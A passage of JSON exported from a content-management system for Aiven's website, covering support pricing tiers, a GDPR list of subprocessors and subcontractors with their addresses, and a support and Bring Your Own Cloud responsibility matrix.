month"}],"markDefs":[],"style":"h2"},{"_key":"79b18d63e826","_type":"block","children":[{"_key":"ff546d56c08a0","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"285331116a2e","_type":"table","rows":[{"_key":"1f654f22-33e1-45bf-8840-47684521a6df","_type":"tableRow","cells":["Essential","Advanced","Premium"]},{"_key":"2ab52a3c-7398-4756-9b19-1d453d5040d1","_type":"tableRow","cells":["Greater of $500 or\u003cbr /\u003e\u003cbr /\u003e10% of all monthly charges","Greater of $2,500 or\u003cbr /\u003e\u003cbr /\u003e10% of all monthly charges","Greater of $10,000 or\u003cbr /\u003e\u003cbr /\u003e \u003cul\u003e \u003cli\u003e10% for the first $0–$150K or\u003c/li\u003e \u003cli\u003e7% from $150K–$500K or\u003c/li\u003e \u003cli\u003e5% from $500K–$1M or\u003c/li\u003e \u003cli\u003e3% over $1M of all monthly charges\u003c/li\u003e \u003c/ul\u003e"]}]},{"_key":"356be8bf33fa","_type":"block","children":[{"_key":"e4b6502ce8040","_type":"span","marks":["em"],"text":"Example 1: With Essential Support, the combined monthly Cloud Service spend is $4,500. 10% x $4,500 = $450. It is less than $500, so the support price will be $500 per month."}],"markDefs":[],"style":"normal"},{"_key":"ea01ccffdbe4","_type":"block","children":[{"_key":"efb1a00cb22b0","_type":"span","marks":["em"],"text":"Example 2: With Advanced Support, the combined monthly Cloud Service spend is $30,000. 10% x $30,000 = $3,000. It is more than $2,500, so the support price will be $3,000 per month."}],"markDefs":[],"style":"normal"}],"publishedAt":"2024-05-01T11:00:00.000Z","seo":{"_type":"metaData","metaDescription":"Our cloud services are monitored 24/7/365 by Aiven personnel. Any anomalies trigger automatic alerts, letting our staff intervene right away when needed.\n","metaImage":{"_type":"mainImage","alt":"support services meta preview","asset":{"_ref":"image-25d75ec64ecec16985cb970efdd7a1652c0ff95f-476x250-jpg","_type":"reference"}},"metaTitle":"Support Services | Aiven"},"slug":{"_type":"slug","current":"/support-services"},"title":"Aiven Support Services"}
{"__i18n_lang":"en","_createdAt":"2022-06-06T03:12:41Z","_id":"4a5f09b0-1992-4697-8a26-33e4788fc5dd","_rev":"Do3156plRwIXmiihO2DPPh","_type":"term","_updatedAt":"2023-12-19T12:01:29Z","content":[{"_key":"ac5b6af4b273","_type":"block","children":[{"_key":"d5b620f967ae0","_type":"span","marks":[],"text":"Aiven Oy (herein ‘’Aiven’’) uses certain Subprocessors (including Aiven Affiliates) and subcontractors to assist in providing Aiven Services (Cloud Services and Support Services) to its customers. This page explains the difference between a Subprocessor and subcontractor of Aiven and specifies the services and tasks provided by the Subprocessors and subcontractors."}],"markDefs":[],"style":"normal"},{"_key":"8b0b4929a51f","_type":"block","children":[{"_key":"32f2f67ca0dc0","_type":"span","marks":[],"text":"What is a Subprocessor?"}],"markDefs":[],"style":"h2"},{"_key":"22975139e9d2","_type":"block","children":[{"_key":"1b0e547408630","_type":"span","marks":["strong"],"text":"Subprocessors"},{"_key":"1b0e547408631","_type":"span","marks":[],"text":" are Aiven Affiliates and third parties "},{"_key":"1b0e547408632","_type":"span","marks":["em","strong"],"text":"necessary to participate"},{"_key":"1b0e547408633","_type":"span","marks":[],"text":" in processing the personal and other data Customer has input to the Cloud Services (‘’Customer Data’’) in order for Aiven to provide the Services to the Customer as agreed. "}],"markDefs":[],"style":"normal"},{"_key":"8cebb9f9c8a8","_type":"block","children":[{"_key":"1b0e547408634","_type":"span","marks":["strong"],"text":"Subprocessors "},{"_key":"1b0e547408635","_type":"span","marks":[],"text":"are divided into three categories:"}],"markDefs":[],"style":"normal"},{"_key":"11925f228629","_type":"block","children":[{"_key":"de3c4696af680","_type":"span","marks":[],"text":"Aiven Affiliates"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"92bbd2c1016c","_type":"block","children":[{"_key":"5648de1ece0d0","_type":"span","marks":[],"text":"Aiven back-end service providers"}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"7133511bda7e","_type":"block","children":[{"_key":"97d44e62d3ee0","_type":"span","marks":[],"text":"Aiven infrastructure service providers."}],"level":1,"listItem":"number","markDefs":[],"style":"normal"},{"_key":"9f03d5037a9f","_type":"block","children":[{"_key":"88e327bd80c30","_type":"span","marks":[],"text":"What is a subcontractor?"}],"markDefs":[],"style":"h2"},{"_key":"846e936f6cb8","_type":"block","children":[{"_key":"d478387c7c880","_type":"span","marks":["strong"],"text":"Subcontractors"},{"_key":"d478387c7c881","_type":"span","marks":[],"text":" are Aiven service providers who provide Aiven the services necessary to provide the Services to Customer, but who "},{"_key":"d478387c7c882","_type":"span","marks":["em","strong"],"text":"do not participate"},{"_key":"d478387c7c883","_type":"span","marks":[],"text":" in processing the data Customer has input into the Cloud Services."}],"markDefs":[],"style":"normal"},{"_key":"8d715b29f880","_type":"block","children":[{"_key":"39c28cfbf58f0","_type":"span","marks":[],"text":"Aiven Subprocessors"}],"markDefs":[],"style":"h2"},{"_key":"fd078ab91ee2","_type":"block","children":[{"_key":"7ed633af7c150","_type":"span","marks":[],"text":"Aiven Affiliates"}],"markDefs":[],"style":"h3"},{"_key":"2145d3b2864f","_type":"block","children":[{"_key":"c6d6dc80e12e0","_type":"span","marks":[],"text":"Aiven provides its Services from multiple different locations through Aiven Affiliates. The employees of Aiven Affiliates may participate in the processing of Customer Data when Support Services are provided if and to the extent Aiven Support Personnel configure the Cloud Services as part of Support Services. Note, that even though the Aiven Affiliate employees participate in processing of the Customer Data, no personal data transfer takes place as Aiven employees only process the metadata (e.g. information whether the Cloud Service is active or not) of the Cloud Services in which the Customer Data is stored, and the Customer Data never leaves the location chosen by Customer. "}],"markDefs":[],"style":"normal"},{"_key":"a1decd8c1a65","_type":"block","children":[{"_key":"4e770690f9b1","_type":"span","marks":[],"text":"As the definition of processing is wide under the GDPR, Aiven classifies the Affiliates’ employees as Subprocessors of Aiven even though Aiven Affiliates do not access or see the Customer Data when processing service metadata. Aiven Affiliate employees may access and have visibility to the Customer Data only if separately requested by and agreed with the Customer. "}],"markDefs":[],"style":"normal"},{"_key":"8e85a4bd30ba","_type":"table","rows":[{"_key":"d09cc2cb-c237-4ce1-b5ce-66fa320abbcf","_type":"tableRow","cells":["Entity Name","Registered Address","Country"]},{"_key":"1b7ee221-c774-4c22-b5c3-1ee1f9f68d5c","_type":"tableRow","cells":["Aiven France SAS","c/o CM. Consulting S.A.R.L, 43 Rue de Liège, 75008 Paris.","France"]},{"_key":"40455ff1-ac03-44c3-ba40-78dd631f8be7","_type":"tableRow","cells":["Aiven Deutschland GmbH","Alexanderufer 3-7, 10117 Berlin.","Germany"]},{"_key":"25dc85a1-8702-461a-8c87-9a605823476a","_type":"tableRow","cells":["Aiven Italy SRL.","Via Borgogna 8, 20122 Milano.","Italy"]},{"_key":"01ef0186-696f-497a-9ebd-85af150df62e","_type":"tableRow","cells":["Aiven UK Ltd.","c/o Goodwille Limited, 24 Old Queen Street,  London, SW1H 9HP."," United Kingdom"]},{"_key":"2459fc49-382c-412e-a712-7ce7a5b7ed92","_type":"tableRow","cells":["Aiven Inc.","1111B S Governors Ave #6177, Dover, DE 19904."," United States"]},{"_key":"b096e898-0004-4459-9853-062d900e466d","_type":"tableRow","cells":["Aiven Canada Ltd.","56 Temperance Street, 3rd Floor, Toronto, ON M5H 3V.","Canada"]},{"_key":"f78a2bb1-549f-404a-80fa-186ba80647f5","_type":"tableRow","cells":["Aiven Australia Pty Ltd.","Level 3, 73 York Street, Sydney, NSW 2000.","Australia"]},{"_key":"4b70d77d-c731-403d-8774-37766ada522d","_type":"tableRow","cells":["Aiven (Singapore) Pte Ltd."," c/o Connexions Corporate Solutions Pte Ltd, 24 Sin Ming Lane, #03-99 Midview City, Singapore (573970).","Singapore"]},{"_key":"389d1832-af17-4690-a64f-ff013fa1a796","_type":"tableRow","cells":["Aiven New Zealand Limited.","c/o Polson Higgs Ltd, 139 Moray Place, Dunedin Central, Dunedin 9016.","New Zealand"]},{"_key":"df610a64-42a8-434d-bf8c-c8bb34ab8094","_type":"tableRow","cells":["Aiven Japan GK","1-6, Motoazabu 3-chome, Minato-ku, Tokyo.","Japan"]},{"_key":"d6b7c1e8-242d-4043-97ff-cd521adb2999","_type":"tableRow","cells":["Aiven Sweden AB","Artillerigatan 6, 114 51, Stockholm.","Sweden"]},{"_key":"f248a267-4d66-43d9-bebe-5acb27790911","_type":"tableRow","cells":["Aiven Netherlands B.V.","Vijzelstraat 68, 1017HL Amsterdam.","Netherlands"]},{"_key":"7d33a17f-6c84-49d6-87d6-d15760c9e4fe","_type":"tableRow","cells":["Aiven Spain S.L.","Avenida del Doctor Arce 14, 28002 Madrid.","Spain"]}]},{"_key":"86edbac8f9b4","_type":"block","children":[{"_key":"2428c40167f60","_type":"span","marks":[],"text":"Aiven back-end Subprocessors"}],"markDefs":[],"style":"h3"},{"_key":"244b820d897a","_type":"block","children":[{"_key":"2bc1979cb6630","_type":"span","marks":[],"text":"Aiven back-end Subprocessors provide Aiven with the infrastructure that enables Aiven to run back-end services for managing and monitoring the Cloud Services. The provided back-end services (i.e. management plane) are used by Aiven to manage and monitor, and to ensure the integrity and availability of the Cloud Services and the Customer Data included therein. The back-end services or the back-end service Subprocessors are only used to deploy and manage the Cloud Services and the Customer Data is not accessed."}],"markDefs":[],"style":"normal"},{"_key":"02f54738a127","_type":"block","children":[{"_key":"513311e0de420","_type":"span","marks":[],"text":"The Aiven back-end services, their provider, location and functions are listed below."}],"markDefs":[],"style":"normal"},{"_key":"afbc365f0251","_type":"table","rows":[{"_key":"3bb89d70-a591-4c26-9520-919e8a57aa32","_type":"tableRow","cells":["Entity Name","Registered Address","Region","Services and tasks"]},{"_key":"8b48308c-926f-4929-a8a2-9924cc6d9a09","_type":"tableRow","cells":["Google Cloud EMEA Limited","70 Sir John Rogerson's Quay, D02 R296, Dublin 2,Dublin, Ireland.","Belgium / europe-west1","Management services for Aiven console, backup, API, system of record database, centralized logging and monitoring systems."]},{"_key":"f50d29aa-cca0-4803-9480-2782698ca631","_type":"tableRow","cells":["Amazon Web Services","38 Avenue John F. Kennedy, L-1855, Luxembourg."," Sweden / eu-north-1","Management services for DNS, Disaster recovery, backup, long term storage of audits logs."]}]},{"_key":"4d10552f6b59","_type":"block","children":[{"_key":"60fe5fe09e160","_type":"span","marks":[],"text":"Aiven infrastructure Subprocessors"}],"markDefs":[],"style":"h3"},{"_key":"8065a663c085","_type":"block","children":[{"_key":"8cc1be7ec3420","_type":"span","marks":[],"text":"Aiven controls access to the infrastructure that Aiven uses to host, store and process the Customer Data input to the Cloud Services. The Subprocessor and location/region depend on which Subprocessor and region Customer chooses independently to select. Customer Data will stay in the region selected by the Customer but may be shifted and co-located between different data centers within the region chosen by the Customer to ensure performance and availability of the Cloud Services."}],"markDefs":[],"style":"normal"},{"_key":"97b769f3e409","_type":"block","children":[{"_key":"15bea6d98df40","_type":"span","marks":[],"text":"The infrastructure Subprocessors don’t have logical access to the Customer Data as Aiven does not store encryption keys directly on US-based Cloud Service Provider Key Management Systems such as Azure Key Vault, AWS KMS, and GCP KMS. Instead, Aiven utilizes its own Key Management System running on Aiven controlled virtual machines within European GCP data centers ensuring compliance with the Schrems II decision."}],"markDefs":[],"style":"normal"},{"_key":"c09b7354c815","_type":"table","rows":[{"_key":"c26a6891-aa09-48b1-b273-ed50c9448b71","_type":"tableRow","cells":["Entity name","Registered address","Region","Services and tasks"]},{"_key":"a60f4ca2-5931-46f8-85ac-5e6830d37651","_type":"tableRow","cells":["Google Cloud EMEA Limited","70 Sir John Rogerson's Quay, D02 R296, Dublin 2,Dublin, Ireland.","As selected by the Customer.","Infrastructure for Cloud Services, Cloud Service backups."]},{"_key":"1b44ff4b-6a62-496b-8f7f-667fade55bd8","_type":"tableRow","cells":["Amazon Web Services EMEA SARL","38 Avenue John F. Kennedy, L-1855, Luxembourg.","As selected by the Customer.","Infrastructure for Cloud Services, Cloud Service backups."]},{"_key":"a4d0684c-4e70-4661-81f7-237b57ecfce2","_type":"tableRow","cells":["Microsoft Ireland Operations Limited","South County Business Park, One Microsoft Court, Carmanhall and Leopardstown, Dublin, D18 DH6K, Ireland.","As selected by the Customer.","Infrastructure for Cloud Services, Cloud Service backups."]},{"_key":"7e0c2752-a338-4cd6-8655-50ab641d8831","_type":"tableRow","cells":[" DigitalOcean LLC","101 Avenue of the Americas, 10th Floor New York 10013, United States.","As selected by the Customer.","Infrastructure for Cloud Services. (No object storage services available, the nearest region from another infrastructure provider is used)."]},{"_key":"fb5ffb69-e5ed-405d-9876-dc19eca0c756","_type":"tableRow","cells":[" Upcloud Oy","Aleksanterinkatu 15B (7th floor), 00100, Helsinki, Finland."," As selected by the Customer.","Infrastructure for Cloud Services. (No object storage services available, the nearest region from another infrastructure provider is used)."]}]},{"_key":"1ccaaed67b15","_type":"block","children":[{"_key":"6909ebc9c346","_type":"span","marks":[],"text":"Aiven subcontractors"}],"markDefs":[],"style":"h2"},{"_key":"a45d048c4174","_type":"block","children":[{"_key":"43cd9415addf0","_type":"span","marks":[],"text":"Aiven uses certain third parties listed below to provide specific functionality within the Services. The subcontractors may process Cloud Service metadata and personal data of the Customer’s contact persons if and as provided by the Customer, in which processing Aiven acts as the data controller determining the means and purposes of the processing as needed to respond to customer requests, to arrange invoicing, and to communicate internally and externally with regards to the Customers use of Cloud Services."}],"markDefs":[],"style":"normal"},{"_key":"b05036fc8e41","_type":"block","children":[{"_key":"38ba4246423f0","_type":"span","marks":[],"text":"No Customer Data uploaded to the Cloud Services is processed by the subcontractor nor can Customer determine the means and purposes of the processing of services provided by Aiven’s subcontractors, hence Customer does not act as a data controller towards the subcontractors listed below."}],"markDefs":[],"style":"normal"},{"_key":"2f0d4052ba53","_type":"block","children":[{"_key":"219adbec95e7","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"807046859fb7","_type":"table","rows":[{"_key":"e98e2661-1f5b-43ec-8506-f6048a900b3e","_type":"tableRow","cells":["Entity name"," Registered address ","Country","Services and tasks"]},{"_key":"5f3b2c32-e56f-40a6-b5a5-4a41fa150028","_type":"tableRow","cells":["Qualified.com Inc","450 Mission Street, Suite 204, San Francisco, CA 94105.","United States","Chat function for marketing and sales purpose"]},{"_key":"409db65c-b35c-4c5b-a438-18037726d9f6","_type":"tableRow","cells":["Stripe Inc","510 Townsend Street, San Francisco, CA 94103.","United States","Credit card payment processing"]},{"_key":"1c8a7cf1-45fc-4680-b93a-76ce5313abc6","_type":"tableRow","cells":["Slack Technologies LLC ","500 Howard Street, San Francisco, CA 94105.","United States","Internal operational messaging"]},{"_key":"79fcb698-7b4e-462b-96d9-096b0ddfd253","_type":"tableRow","cells":[" Salesforce.com Inc.","415 Mission Street, San Francisco, CA 94105.","United States","Customer relationship management system"]},{"_key":"c0cedba7-436a-442a-b5b9-36bc2f568f5f","_type":"tableRow","cells":[" Opsgenie Inc (owned by Atlassian Pty Ltd)","Level 6, 341 George Street, Sydney, NSW 2000.","Australia","Alerting and paging"]},{"_key":"3294cf67-604d-4282-88d3-9239df611b6d","_type":"tableRow","cells":[" Atlassian Pty Ltd","Level 6, 341 George Street, Sydney, NSW 2000.","Australia","Internal ticketing system"]},{"_key":"da17a297-3a94-4b34-96eb-3d76cc54831c","_type":"tableRow","cells":[" Amazon Web Services EMEA SARL.","38 Avenue John F. Kennedy, L-1855, Luxembourg.","Luxembourg","Email delivery service"]},{"_key":"ae528d0d-6de9-454f-8c2e-38f765d0f7cb","_type":"tableRow","cells":["Zendesk","989 Market St, San Francisco, CA 94103.","United States","Customer support ticketing system"]}]},{"_key":"647fe0b89afe","_type":"block","children":[{"_key":"c588507111c7","_type":"span","marks":[],"text":"Subscribe for changes notification"}],"markDefs":[],"style":"h2"},{"_key":"f4e70368412c","_type":"iframe","addSpaceBottom":false,"addSpaceTop":false,"align":"left","backgroundPosition":"center center","backgroundPositionMobile":"center center","backgroundSize":"cover","backgroundSizeMobile":"cover","disabled":false,"fullWidth":false,"headerPosition":"default","iframeHeight":550,"iframeSource":"https://go.aiven.io/l/890043/2023-12-09/tdj1j","iframeTitle":"Aiven Subprocessors subscription notification","isPardotForm":true,"noSpaceBottom":false,"noSpaceTop":false,"pardotFormType":"newsletter","subtitle":[{"_key":"d81d39a36bf2","_type":"block","children":[{"_key":"09ff7c752b550","_type":"span","marks":[],"text":"Stay updated to receive notifications about updates and changes of Aiven Subprocessors."}],"markDefs":[],"style":"normal"}]},{"_key":"405644377a6d","_type":"block","children":[{"_key":"9beb4604f581","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"}],"modals":[{"_key":"78d454b996db","_ref":"f1ad5a2d-d9fe-4ade-af59-b5d5a818a37b","_type":"reference"}],"publishedAt":"2023-04-05T12:20:19.808Z","secondaryNavigation":{"_ref":"d3682fc4-0bec-4657-9273-405424bdd8ed","_type":"reference"},"seo":{"_type":"metaData","metaDescription":"Aiven uses certain subcontractors (including Aiven subsidiaries) to assist in providing the Aiven Services for its customers.\n","metaImage":{"_type":"mainImage","alt":"contractors meta preview","asset":{"_ref":"image-e910433dc39dca33ba7817a33ebb4f380175ccf6-476x250-jpg","_type":"reference"}},"metaTitle":"Subcontractors and Subprocessors | Aiven"},"slug":{"_type":"slug","current":"/subprocessors"},"title":"Aiven Subprocessors and subcontractors"}
{"__i18n_lang":"en","_createdAt":"2022-09-02T13:32:52Z","_id":"97422fba-5006-46b6-9389-f8d782b04bd5","_rev":"DcneF66P6QscvZLjoAj4SF","_type":"term","_updatedAt":"2024-05-01T10:45:06Z","content":[{"_key":"571998741f63","_type":"block","children":[{"_key":"274513e32fa10","_type":"span","marks":[],"text":"When running services on Aiven, you can expect world leading automation and cutting edge self-healing architecture for cloud native infrastructure. Aiven also provides an exceptional support team plus an experienced account team (Customer Success Manager \u0026 Solution Architect) to assist with additional complexity and customer specific requirements when running on the Aiven platform. Review the following matrix to ensure your workloads and teams are set up for success."}],"markDefs":[],"style":"normal"},{"_key":"46183cd9cd19","_type":"block","children":[{"_key":"11a0ab166d87","_type":"span","marks":[],"text":""}],"markDefs":[],"style":"normal"},{"_key":"fe3647841606","_type":"table","rows":[{"_key":"10edd12c-e8f4-4b81-b7aa-f704e9f3cc6b","_type":"tableRow","cells":["","Aiven Platform Automation","Aiven Support*","Aiven Account Team*","Customer/Partner Responsibility"]},{"_key":"7e27b85d-2213-47fd-971f-2c49611cf3e3","_type":"tableRow","cells":["Infrastructure setup and provisioning","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"bbb03c99-e947-4fcd-b4e1-4602ed849634","_type":"tableRow","cells":["Security and Compliance","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"48f36c78-826f-4dbc-840e-1a36316eabb3","_type":"tableRow","cells":["Service availability, AZ spread","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"137d1592-4f38-468b-9dff-9536960b1de3","_type":"tableRow","cells":["Maintenance and version upgrades","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"bab29baa-d32c-4ef1-bc14-916ca88174eb","_type":"tableRow","cells":["Near zero downtime scaling and migrations","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"98460a66-c803-45d8-a0e2-41bf5e3c0b61","_type":"tableRow","cells":["Support and Ticketing","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"86811fb2-a1fb-41e1-b42f-18d38faeb544","_type":"tableRow","cells":["Troubleshooting☨","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"7b8a23f0-2dcf-455f-aa8e-da0ef040bfed","_type":"tableRow","cells":["Proactive and 24/7/365 Support","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"9b0037c3-7d8e-425d-9c3f-14bdb7de18e9","_type":"tableRow","cells":["Additional Auditing for Enhance Compliance Environments","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"66604aed-60fe-42ff-984b-8fd93c7a6902","_type":"tableRow","cells":["BYOC Set Up","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"0517698c-0851-400d-98dd-0a8a3cd0dd62","_type":"tableRow","cells":["Service best practice guidance and training","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"d4fa32ce-e9c9-4d65-8c65-234724e65b2a","_type":"tableRow","cells":["Aiven platform and service optimization","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"7b40a5b4-7c31-4380-bc89-4358b124615e","_type":"tableRow","cells":["Capacity planning","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"8e8b7805-3bad-4f3a-a4c6-ca30142558e2","_type":"tableRow","cells":["[Disaster Recovery](https://developer.aiven.io/docs/platform/concepts/disaster-recovery-test-scenarios.html) and High Availability Readiness","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"d24c0a54-14fe-4507-9779-ad66bd905980","_type":"tableRow","cells":["Customized RCA for Declared Incidents","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"91517c7f-9217-4114-922b-0ea2f7f86a46","_type":"tableRow","cells":["Observability","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"9903796d-c1d4-4455-bfa1-9c986c4a2e80","_type":"tableRow","cells":["Migration planning","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"ba71b578-f84c-423d-8183-b3f0b03d41f3","_type":"tableRow","cells":["Migration execution","","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"3f32032a-1a6d-45c9-aa67-84ce1d84b8d1","_type":"tableRow","cells":["Application/Interface design and optimization","","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"39454fbf-474b-43f2-935c-3e53c2ac2de5","_type":"tableRow","cells":["Integration testing","","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]}]},{"_key":"b1fc3806e2b9","_type":"block","children":[{"_key":"5a74c2c5e9c10","_type":"span","marks":[],"text":"* Aiven support tiers give developers and DevOps teams access to the resources they need to be successful. Access to Aiven can span from dedicated attention for onboarding, to access to contributors of open source projects, e.g. Apache Kafka. Aiven offers four tiers of support – Basic, Essential, Advanced and Premium. These tiers give varying access to the Aiven support team and Aiven account teams. Details for these tiers are outlined below."}],"markDefs":[],"style":"normal"},{"_key":"531fb0506088","_type":"block","children":[{"_key":"773c3b4bf52c0","_type":"span","marks":[],"text":"☨ The Aiven account teams participate in troubleshooting to the extent that the issue involves understanding and optimization of Aiven services or the platform. We want to ensure that customers are able to get the most out of open source and Aiven’s value add. To this end the Aiven account team is not able to provide troubleshooting services or professional services for customer code or application implementation although we can give hints and tips of where to look."}],"markDefs":[],"style":"normal"},{"_key":"edc123718208","_type":"block","children":[{"_key":"78ed6537796b","_type":"span","marks":[],"text":"Bring Your Own Cloud (BYOC)"}],"markDefs":[],"style":"h2"},{"_key":"f318dcca1654","_type":"block","children":[{"_key":"5895a32454bd0","_type":"span","marks":[],"text":"For more in-depth details, please hover over the dotted lines indicated in the responsibility column. A tooltip will appear providing additional description of the responsibility."}],"markDefs":[],"style":"normal"},{"_key":"441eeba6a7cb","_type":"table","rows":[{"_key":"95a4fb5c-6185-4163-82dc-abf2f9bd4e0d","_type":"tableRow","cells":["Responsibility","Customer Team","Aiven Platform","Aiven Support","Aiven Account Team"]},{"_key":"6903aaf8-2c37-4591-af2e-79fc25d27707","_type":"tableRow","cells":["\u003cabbr title=\"Customer must provision their own cloud account.\"\u003eCustomer Account(/s) with Cloud Provider\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"66527c5a-ddd0-4921-a4f7-e3ef071e3a7b","_type":"tableRow","cells":["\u003cabbr title=\"Customer must provision their own VPC according to Aiven BYOC configuration guidelines.\"\u003eCreation and Management of VPC for Aiven Services\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"e8999c8a-d89a-4f96-9bda-0c2181f56ebd","_type":"tableRow","cells":["\u003cabbr title=\"Customer must provision IAM Roles \u0026 Permissions according to Aiven BYOC configuration guidelines.\"\u003eIAM Permissions for Aiven Services within VPC\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"b4b0b942-f195-48af-8dd1-023b0db5d2e8","_type":"tableRow","cells":["\u003cabbr title=\"Customer must properly manage cloud resource quotas according to Aiven BYOC guidelines.\"\u003eComputing Resource Quotas Management\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"d8446505-ce58-43ac-95be-e3d49feda681","_type":"tableRow","cells":["\u003cabbr title=\"Customer must properly provision cloud object storage to allow Aiven permission to store service backups.\"\u003eObject Storage Provisioning and Accessr\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"c69c8c40-d70b-4609-8628-f07c67357593","_type":"tableRow","cells":["\u003cabbr title=\"Customer is responsible for the security of their cloud account, but not the Aiven service resources in that account.  Note: The BYOC account should be exclusively for running Aiven services.\"\u003eAccount level security which follows Aiven guidelines\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","",""]},{"_key":"a137fd66-8437-4489-a6d0-9b4f668989d4","_type":"tableRow","cells":["\u003cabbr title=\"The customer is responsible for auditing and maintaining compliance for their account(s).  Aiven will ensure the service infrastructure is compliant.\"\u003eAuditing and compliance\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"52820879-8bb8-43f0-91ed-9e9e9068d69b","_type":"tableRow","cells":["\u003cabbr title=\"Aiven is responsible for establishing and maintaining the security of the service resources.\"\u003eResource Security, Compliance, Auditing of the Aiven service\u003c/abbr\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","",""]},{"_key":"215a266e-38af-4590-bae3-671c80406c87","_type":"tableRow","cells":["\u003cabbr title=\"Account team along with the customer will build a migration plan to migrate services from Aiven Cloud into the BYOC configuration.  Strategies may include use Aiven Console, TF, CLI to migrate from Aiven Cloud to BYOC configuration.\"\u003eService Migration Planning from Aiven Cloud to BYOC\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"e6d22d7b-a86e-4de1-8064-d1069e0cb974","_type":"tableRow","cells":["\u003cabbr title=\"Account team along with the customer will build a migration plan to migrate services into the BYOC configuration from alternative solutions.  Strategies may include use Aiven Console, TF, CLI to migrate into BYOC configuration.\"\u003eService Migration Planning (from non-Aiven offering to Aiven offering)\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"9273154a-c6b6-4f06-a330-55c3501f4eeb","_type":"tableRow","cells":["\u003cabbr title=\"Account team along with the customer will work to determine the appropriate DR strategy based on best practices.\"\u003eDisaster Recovery Planning and Advisory\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e"]},{"_key":"09ba365c-6feb-41ff-a3c3-453316a5b0fc","_type":"tableRow","cells":["\u003cabbr title=\"Customer cloud resources interacting with Aiven Services lie outside the support boundaries of the Aiven Support team.\"\u003eTroubleshooting of Customer Managed Resources (K8S, external networking, etc.)\u003c/abbr\u003e","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e",""]},{"_key":"6c5164e0-f125-45c7-a586-4d04633c524c","_type":"tableRow","cells":["\u003cabbr title=\"The Aiven platform fully manages the entire lifecycle of the Aiven Service to include Startup, Upgrade, Downgrade, Patching, Stopping and Terminating.\"\u003eAiven Service Deployment Lifecycle Activities\u003c/abbr\u003e","","\u003cp align=\"center\" style=\"color:#40c057\"\u003e✓\u003c/p\u003e","\u003cp align=\"center\" 